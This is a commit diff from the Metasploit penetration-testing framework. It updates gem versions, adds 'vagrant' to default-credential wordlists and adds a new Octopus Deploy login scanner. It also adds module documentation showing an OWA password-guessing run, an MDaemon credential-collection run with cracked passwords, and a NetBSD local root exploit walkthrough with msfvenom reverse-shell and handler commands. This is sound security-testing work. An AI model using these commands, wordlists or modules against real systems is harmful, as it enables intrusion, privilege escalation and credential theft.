commit
8a0c8b54fc
37
Gemfile.lock
37
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.24)
|
||||
metasploit-framework (4.12.26)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -34,16 +34,23 @@ PATH
|
|||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
rex-java
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
rex-socket
|
||||
rex-sslscan
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
sshkey
|
||||
|
@ -84,7 +91,7 @@ GEM
|
|||
arel (6.0.3)
|
||||
arel-helpers (2.3.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
aruba (0.14.1)
|
||||
aruba (0.14.2)
|
||||
childprocess (~> 0.5.6)
|
||||
contracts (~> 0.9)
|
||||
cucumber (>= 1.3.19)
|
||||
|
@ -94,7 +101,7 @@ GEM
|
|||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.7.1)
|
||||
capybara (2.8.1)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
|
@ -230,9 +237,18 @@ GEM
|
|||
redcarpet (3.3.4)
|
||||
rex-arch (0.1.1)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.0)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.2)
|
||||
rex-java (0.1.2)
|
||||
rex-mime (0.1.1)
|
||||
rex-text
|
||||
rex-nop (0.1.0)
|
||||
rex-arch
|
||||
rex-ole (0.1.2)
|
||||
rex-text
|
||||
rex-powershell (0.1.64)
|
||||
|
@ -241,13 +257,22 @@ GEM
|
|||
rex-random_identifier (0.1.0)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-rop_builder (0.1.0)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.0)
|
||||
rex-core
|
||||
rex-sslscan (0.1.0)
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.2.1)
|
||||
rex-zip (0.1.0)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.5.2)
|
||||
rspec-core (3.5.3)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-expectations (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
|
@ -255,7 +280,7 @@ GEM
|
|||
rspec-mocks (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-rails (3.5.1)
|
||||
rspec-rails (3.5.2)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
|
@ -311,4 +336,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.12.5
|
||||
1.13.1
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -4722,3 +4722,4 @@ zxcvbn
|
|||
zxcvbnm
|
||||
zzzz
|
||||
zzzzzz
|
||||
vagrant
|
||||
|
|
|
@ -1212,3 +1212,4 @@ SQL
|
|||
CMOSPWD
|
||||
dadmin
|
||||
wlcsystem
|
||||
vagrant
|
||||
|
|
|
@ -16,3 +16,4 @@ xampp
|
|||
wampp
|
||||
ppmax2011
|
||||
turnkey
|
||||
vagrant
|
|
@ -8,3 +8,4 @@ wampp xampp
|
|||
newuser wampp
|
||||
xampp-dav-unsecure ppmax2011
|
||||
admin turnkey
|
||||
vagrant vagrant
|
|
@ -11,3 +11,4 @@ sys
|
|||
wampp
|
||||
newuser
|
||||
xampp-dav-unsecure
|
||||
vagrant
|
|
@ -88393,3 +88393,4 @@ z
|
|||
émigrés
|
||||
épée
|
||||
étude
|
||||
vagrant
|
||||
|
|
|
@ -49,3 +49,4 @@ root dbps
|
|||
root ibm
|
||||
root monitor
|
||||
root turnkey
|
||||
root vagrant
|
||||
|
|
|
@ -4,3 +4,4 @@ role1
|
|||
root
|
||||
tomcat
|
||||
s3cret
|
||||
vagrant
|
||||
|
|
|
@ -6,3 +6,4 @@ ADMIN ADMIN
|
|||
xampp xampp
|
||||
tomcat s3cret
|
||||
QCC QLogic66
|
||||
admin vagrant
|
||||
|
|
|
@ -1005,3 +1005,4 @@ raspberry
|
|||
arcsight
|
||||
MargaretThatcheris110%SEXY
|
||||
karaf
|
||||
vagrant
|
||||
|
|
|
@ -109,3 +109,4 @@ www-data
|
|||
xpdb
|
||||
xpopr
|
||||
zabbix
|
||||
vagrant
|
||||
|
|
|
@ -0,0 +1,23 @@
|
|||
This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. It is typically faster than the traditional form-based OWA login method.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/owa_ews_login```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Set TARGETURI if necessary.
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf auxiliary(owa_ews_login) > run
|
||||
|
||||
[+] Found NTLM service at /ews/ for domain OWAMSF.
|
||||
[+] OWA_EWS - Successful login: Administrator:monkey
|
||||
[-] OWA_EWS - Failed login: root:
|
||||
[-] OWA_EWS - Failed login: admin:
|
||||
[-] OWA_EWS - Failed login: guest:
|
||||
[-] OWA_EWS - Failed login: root:root
|
||||
[-] OWA_EWS - Failed login: root:password
|
||||
[-] OWA_EWS - Failed login: root:1234
|
||||
```
|
|
@ -0,0 +1,203 @@
|
|||
## Vulnerable Application
|
||||
|
||||
NetBSD 7.0.1 is available from the [official](http://cdn.netbsd.org/pub/NetBSD/NetBSD-7.0.1/images/NetBSD-7.0.1-amd64.iso) site, or on an [unofficial git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/NetBSD-7.0.1-amd64.iso)
|
||||
|
||||
## Issues
|
||||
Getting an initial shell that can write files correctly was difficult. The best I found was reverse_openssl.
|
||||
|
||||
Payloads that didn't work:
|
||||
* cmd/unix/reverse - connected back, but couldn't write file.
|
||||
```
|
||||
[*] Started reverse TCP double handler on 172.16.152.1:4444
|
||||
[*] Writing Payload to /tmp/zrWqhXpL
|
||||
[*] Max line length is 131073
|
||||
[*] /usr/bin/printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] /usr/bin/printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] perl -e 'print("\0\377\376\101\102\103\104\177\45\45\15\12")' Failed: "perl: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] gawk 'BEGIN {ORS="";print "\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a"}' </dev/null Failed: "gawk: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] echo '00fffe414243447f25250d0a'|xxd -p -r Failed: "xxd: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] echo -ne '\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a' Failed: "-ne \\x00\\xff\\xfe\\x41\\x42\\x43\\x44\\x7f\\x25\\x25\\x0d\\x0a\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
* cmd/unix/reverse_awk - `awk: syntax error at source line 1`
|
||||
* cmd/unix/reverse_bash - `./bsd.payload: 1: Syntax error: Bad fd number`
|
||||
* cmd/unix/reverse_bash_telnet_ssl - `$ telnet: unknown option -- z`
|
||||
* cmd/unix/reverse_ssl_double_telnet - `$ telnet: unknown option -- z`
|
||||
* cmd/unix/reverse_lua - `lua: (command line):1: module 'socket' not found`
|
||||
* netcat, node, perl, php, python, php, ruby, zsh - all not installed by default
|
||||
* bsd/* didn't seem to work either, maybe its for freebsd?
|
||||
|
||||
Payloads that did work:
|
||||
* cmd/unix/reverse_openssl
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get an initial shell
|
||||
1. Create working shell, scp it over
|
||||
```
|
||||
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
|
||||
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
|
||||
```
|
||||
2. Setup msf to handle
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload cmd/unix/reverse_openssl
|
||||
set lhost 172.16.152.1
|
||||
exploit
|
||||
```
|
||||
3. Run the shell from NetBSD
|
||||
```
|
||||
$ cd /tmp
|
||||
$ ls
|
||||
bsd.payload
|
||||
$ chmod +x bsd.payload
|
||||
$ ./bsd.payload
|
||||
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
|
||||
depth=0 CN = vgekg
|
||||
verify error:num=18:self signed certificate
|
||||
verify return:1
|
||||
depth=0 CN = vgekg
|
||||
verify return:1
|
||||
```
|
||||
4. Receive the shell and background it
|
||||
```
|
||||
[*] Started reverse double SSL handler on 172.16.152.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo NwNHAEiJioYIvn4M;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "NwNHAEiJioYIvn4M\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
```
|
||||
3. Do: `use exploit/unix/local/netbsd_mail_local`
|
||||
4. Do: `set payload cmd/unix/reverse_openssl`
|
||||
5. Do: `set lhost 172.16.152.1`
|
||||
6. Do: `set verbose true`
|
||||
7. Do: `set session 1`
|
||||
8. Do: `exploit`
|
||||
9. You should get a *root* shell.
|
||||
|
||||
## Options
|
||||
|
||||
**ATRUNPATH**
|
||||
File location of atrun, defaults to `/usr/libexec/atrun`
|
||||
|
||||
**MAILDIR**
|
||||
Location of mail folder, defaults to `/var/mail`
|
||||
|
||||
**WritableDir**
|
||||
Location of a writable directory for our payload, defaults to `/tmp`
|
||||
|
||||
**ListenerTimeout**
|
||||
Since this exploit utilized a cron which has a 10min timer, the listener timeout needs to be 10min + padding. Defaults to `603` seconds (10min, 3sec)
|
||||
|
||||
## Scenarios
|
||||
|
||||
Here is a run against a virgin install of `NetBSD 7.0.1 NetBSD 7.0.1 (GENERIC.201605221355Z) amd64` (from the unofficial link at the top)
|
||||
|
||||
In this example, I got lucky and only had to wait ~1min for the cron to hit, which is every 10min by default
|
||||
|
||||
1. Get an initial shell
|
||||
1. Create working shell, scp it over
|
||||
```
|
||||
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
|
||||
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
|
||||
```
|
||||
2. Setup msf to handle
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload cmd/unix/reverse_openssl
|
||||
set lhost 172.16.152.1
|
||||
exploit
|
||||
```
|
||||
3. Run the shell from NetBSD
|
||||
```
|
||||
$ cd /tmp
|
||||
$ ls
|
||||
bsd.payload
|
||||
$ chmod +x bsd.payload
|
||||
$ ./bsd.payload
|
||||
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
|
||||
depth=0 CN = vgekg
|
||||
verify error:num=18:self signed certificate
|
||||
verify return:1
|
||||
depth=0 CN = vgekg
|
||||
verify return:1
|
||||
```
|
||||
4. Receive the shell and background it
|
||||
```
|
||||
[*] Started reverse double SSL handler on 172.16.152.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo NwNHAEiJioYIvn4M;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "NwNHAEiJioYIvn4M\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
```
|
||||
2. Run the exploit
|
||||
```
|
||||
msf exploit(netbsd_mail_local) > set payload cmd/unix/reverse_openssl
|
||||
payload => cmd/unix/reverse_openssl
|
||||
msf exploit(netbsd_mail_local) > set lhost 172.16.152.1
|
||||
lhost => 172.16.152.1
|
||||
msf exploit(netbsd_mail_local) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(netbsd_mail_local) > set session 1
|
||||
session => 1
|
||||
msf exploit(netbsd_mail_local) > exploit
|
||||
[*] Started reverse double SSL handler on 172.16.152.1:4444
|
||||
[*] Writing Payload to /tmp/pjDkvmGg
|
||||
[*] Max line length is 131073
|
||||
[*] Writing 176 bytes in 1 chunks of 618 bytes (octal-encoded), using printf
|
||||
[*] Writing exploit to /tmp/GHIKGOWX.c
|
||||
[*] Max line length is 131073
|
||||
[*] Writing 4898 bytes in 1 chunks of 17162 bytes (octal-encoded), using printf
|
||||
[*] Compiling /tmp/GHIKGOWX.c via gcc
|
||||
[*] Starting the payload handler...
|
||||
[*] Executing at 2016-08-25 19:59:04 -0400. May take up to 10min for callback
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo X6C4UIDx4zmwM0DJ;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "X6C4UIDx4zmwM0DJ\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 2 opened (172.16.152.1:4444 -> 172.16.152.128:65532) at 2016-08-25 20:00:02 -0400
|
||||
[*] 2016-08-25 20:00:02 -0400
|
||||
[*] Remember to run: chown root:wheel /usr/libexec/atrun
|
||||
[+] Deleted /tmp/pjDkvmGg
|
||||
[!] This exploit may require manual cleanup of '/tmp/pjDkvmGg' on the target
|
||||
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX' on the target
|
||||
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX.out' on the target
|
||||
1633029467
|
||||
TkBWZEPqsRvYvmwNaTcjImhcSzZHOAtY
|
||||
true
|
||||
JUqfyioWthnpvyxRJAZosSGQjnLHqPUB
|
||||
sHXbQbHqFIbnZGoFWlZoppGprWyKwFCr
|
||||
nDpSrEmQhDuVSxIpILWCOABbMOIAWUTx
|
||||
whoami
|
||||
root
|
||||
```
|
|
@ -0,0 +1,115 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Download and install the email server: [www.altn.com](http://www.altn.com/Downloads/MDaemon-Mail-Server-Free-Trial/)
|
||||
|
||||
You require a valid licence, but there's a demo for 30 days.
|
||||
|
||||
### Verified
|
||||
|
||||
1. AWS --> Microsoft Windows Server 2012 R2 Base - ami-8d0acfed Instance: t2.micro @ July-August 2016 x64 bits with meterpreter 64 bits.
|
||||
2. AWS --> Microsoft Windows Server 2012 R2 Base - ami-8d0acfed Instance: t2.micro @ July-August 2016 x64 bits with meterpreter 32 bits. Worked, but couldn't find the path through Register.
|
||||
3. VM --> Microsoft Windows 7 on VMWare.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a meterpreter on a windows machine that has MDaemon installed.
|
||||
2. Load the module: `use post/windows/gather/credentials/mdaemon_cred_collector`
|
||||
3. Set the correct session on the module.
|
||||
1. Optional: you can add the remote path of the installation, especially if the software is installed on a strange path and the module can't find it..
|
||||
4. Run the module and enjoy the loot.
|
||||
|
||||
## Example Run
|
||||
**Normal mode**
|
||||
```
|
||||
msf > use post/windows/gather/credentials/mdaemon_cred_collector
|
||||
msf > set SESSION 1
|
||||
msf > exploit
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
[+] Configuration file found: C:\MDaemon\App\userlist.dat
|
||||
[+] Found MDaemons on WIN-F7ANP3JL4GJ via session ID: 1
|
||||
[*] Extracted: MDaemon:p0%AhBxvs4IZ
|
||||
[*] Extracted: webmaster:Manuel123.
|
||||
[*] SMTP credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.smtp_ser_754168.txt
|
||||
[*] Extracted: webmaster:Manuel123.
|
||||
[*] POP3 credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.pop3_ser_608271.txt
|
||||
[*] Extracted: webmaster:Manuel123.
|
||||
[*] IMAP credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.imap_ser_769125.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
**Verbose true**
|
||||
```
|
||||
msf > use post/windows/gather/credentials/mdaemon_cred_collector
|
||||
msf > set SESSION 1
|
||||
msf > set verbose true
|
||||
msf > exploit
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
[*] Searching MDaemon installation at C:
|
||||
[*] Found MDaemon installation at C:
|
||||
[*] Searching MDaemon installation at C:
|
||||
[*] Found MDaemon installation at C:
|
||||
[*] Searching MDaemon installation at C:\Program Files
|
||||
[*] Searching MDaemon installation at C:\Program Files (x86)
|
||||
[*] Searching MDaemon installation at C:\Program Files
|
||||
[*] Checking for Userlist in MDaemons directory at: C:\MDaemon\App
|
||||
[+] Configuration file found: C:\MDaemon\App\userlist.dat
|
||||
[+] Found MDaemons on WIN-F7ANP3JL4GJ via session ID: 1
|
||||
[*] Downloading UserList.dat file to tmp file: SFJOXMHZEFWA
|
||||
[*] Cracking xJiKYdun7OvjVLnM
|
||||
[*] Password p0%AhBxvs4IZ
|
||||
[*] Cracking ocnTldjRpaejTg==
|
||||
[*] Password Manuel123.
|
||||
[*] Collected the following credentials:
|
||||
[*] Usernames: 2
|
||||
[*] Passwords: 2
|
||||
[*] Deleting tmp file: SFJOXMHZEFWA
|
||||
[*] Extracted: MDaemon:p0%AhBxvs4IZ
|
||||
[*] Extracted: webmaster:Manuel123.
|
||||
[*] SMTP credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.smtp_ser_114741.txt
|
||||
[*] Extracted: webmaster:Manuel123.
|
||||
[*] POP3 credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.pop3_ser_369240.txt
|
||||
[*] Extracted: webmaster:Manuel123.
|
||||
[*] IMAP credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.imap_ser_028427.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**RPATH**
|
||||
The remote path of the MDaemon installation.
|
||||
If the machine runs on 64bits and the meterpreter is 32 bits, it won't be able to find the installation path in the registry, but it will search some default paths. If it is installed on a non-default path you can give the RPATH and it will work.
|
||||
|
||||
## Scenarios
|
||||
**Run on all sessions**
|
||||
If you wish to run the post against all sessions from framework, here is how:
|
||||
|
||||
1. Create the following resource script:
|
||||
```
|
||||
framework.sessions.each_pair do |sid, session|
|
||||
run_single("use post/windows/gather/credentials/mdaemon_cred_collector")
|
||||
run_single("set SESSION #{sid}")
|
||||
run_single("run")
|
||||
end
|
||||
```
|
||||
2. At the msf prompt, execute the above resource script:
|
||||
`msf > resource path-to-resource-script`
|
||||
|
||||
**Meterpreter on email server**
|
||||
|
||||
If you have a meterpreter running on a server that has MDaemon installed, run the module and you will get all the users and passwords of the email server. Quite useful for trying password reuse and/or checking the strength of the passwords.
|
||||
|
||||
Note: MDaemon can store the passwords on a database, in that case the module won't work, but you can search for the database location, username and password and still get them :)
|
||||
|
||||
|
||||
## References
|
||||
http://www.securityfocus.com/bid/4686
|
||||
|
||||
https://github.com/AgoraSecurity/MdaemonCrack
|
|
@ -0,0 +1,64 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'json'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# Octopus Deploy login scanner
|
||||
class OctopusDeploy < HTTP
|
||||
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
uri = '/api/users/login' if uri.nil?
|
||||
method = 'POST' if method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
if ssl
|
||||
result_opts[:service_name] = 'https'
|
||||
else
|
||||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
json_post_data = JSON.pretty_generate({ Username: credential.public, Password: credential.private })
|
||||
cli = Rex::Proto::Http::Client.new(host, port, { 'Msf' => framework, 'MsfExploit' => framework_module }, ssl, ssl_version, http_username, http_password)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'ctype' => 'application/json',
|
||||
'data' => json_post_data
|
||||
)
|
||||
res = cli.send_recv(req)
|
||||
body = JSON.parse(res.body)
|
||||
if res && res.code == 200 && body.key?('IsActive') && body['IsActive']
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::JSON::ParserError
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -29,10 +29,10 @@ module Metasploit
|
|||
|
||||
|
||||
def set_default
|
||||
self.wordpress_url_xmlrpc = 'xmlrpc.php'
|
||||
self.block_wait = 6
|
||||
self.base_uri = '/'
|
||||
self.chunk_size = 1700
|
||||
@wordpress_url_xmlrpc ||= 'xmlrpc.php'
|
||||
@block_wait ||= 6
|
||||
@base_uri ||= '/'
|
||||
@chunk_size ||= 1700
|
||||
end
|
||||
|
||||
# Returns the XML data that is used for the login.
|
||||
|
@ -110,6 +110,8 @@ module Metasploit
|
|||
# @param credential [Metasploit::Framework::Credential]
|
||||
# @return [Metasploit::Framework::LoginScanner::Result]
|
||||
def attempt_login(credential)
|
||||
set_default
|
||||
@passwords ||= [credential.private]
|
||||
generate_xml(credential.public).each do |xml|
|
||||
send_wp_request(xml)
|
||||
req_xml = Nokogiri::Slop(xml)
|
||||
|
|
|
@ -9,11 +9,6 @@ module Metasploit
|
|||
extend ActiveSupport::Concern
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
|
@ -21,23 +16,23 @@ module Metasploit
|
|||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
|
||||
#
|
||||
|
@ -55,14 +50,14 @@ module Metasploit
|
|||
idx = 0
|
||||
pkt = ''
|
||||
pkt_hdr = ''
|
||||
pkt_hdr = [
|
||||
pkt_hdr = [
|
||||
TYPE_TDS7_LOGIN, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID (unused upon specification
|
||||
0x01, # PacketID (unused upon specification
|
||||
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
|
||||
0x00 #Window
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt << [
|
||||
|
@ -85,18 +80,18 @@ module Metasploit
|
|||
sname = Rex::Text.to_unicode( rhost )
|
||||
dname = Rex::Text.to_unicode( db )
|
||||
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => use_ntlm2_session,
|
||||
:use_ntlmv2 => use_ntlmv2,
|
||||
:send_lm => send_lm,
|
||||
:send_ntlm => send_ntlm
|
||||
}
|
||||
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
|
||||
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
user,
|
||||
pass,
|
||||
workstation: workstation_name,
|
||||
domain: domain_name,
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
# SQL 2012, at least, does not support KEY_EXCHANGE
|
||||
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
ntlmsspblob = type1.serialize
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
|
@ -137,9 +132,9 @@ module Metasploit
|
|||
pkt << ntlmsspblob
|
||||
|
||||
# Total packet length
|
||||
pkt[0,4] = [pkt.length].pack('V')
|
||||
pkt[0, 4] = [pkt.length].pack('V')
|
||||
|
||||
pkt_hdr[2] = pkt.length + 8
|
||||
pkt_hdr[2] = pkt.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
||||
|
||||
|
@ -147,64 +142,38 @@ module Metasploit
|
|||
# has a strange behavior that differs from the specifications
|
||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||
